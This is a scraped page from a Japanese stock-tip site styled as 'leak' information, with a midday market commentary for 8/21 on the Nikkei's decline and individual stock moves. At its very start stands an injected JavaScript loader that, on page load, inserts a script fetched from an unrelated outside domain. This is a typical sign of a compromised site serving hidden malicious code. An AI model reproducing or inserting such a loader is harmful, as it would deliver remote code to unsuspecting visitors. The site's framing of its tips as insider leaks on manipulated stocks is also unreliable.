;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【8/21 前引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【8/21 前引け】

【6770】アルプス電気 3,595円 -235 (-6.13%)

【1803】清水建設 1,177円 -9 (-0.75%)

【8306】三菱UFJフィナンシャル・グループ 812.1円 -37.7 (-4.43%)

前場の日経平均株価は420円安と4日続落。中国景気減速への懸念で世界株安の流れ引き継ぐ形から日経平均も大幅続落スタートし、全面安の展開。リスク回避が強まり下値模索の流れ、週末要因など控え積極的な押し目買いは入り難い状況となっている。業種別では、石油石炭製品、鉱業の2業種のみの値上がりに。保険業、銀行業が4%超の下げとなっているほか、その他製品、証券商品先物、不動産業、その他金融業などが3%超の下落となっている。

個別では、マグネシウム合金の加工技術開発報道から【5781】東邦金属や自社株買いを発表の【3762】テクマトリックスがストップ高。車載フルHD液晶表示制御用LSI新製品が国産車純正品に採用された【6769】ザインエレクトロニクス。次世代画像認識・画像処理技術PFがNEDO公募事業に採択され前日にストップ高の【3652】ディジタルメディアプロフェッショナルが大幅続伸となっている。

前場引け後、一時上海総合指数が下げ幅を拡大しており後場も中国市場の動向を注視。週末要因、ポジション整理の動きからの売り仕掛け的な動きには引き続き警戒しておきたい局面だ。先程迫った1万9520円割れ時は特に警戒しておきたい。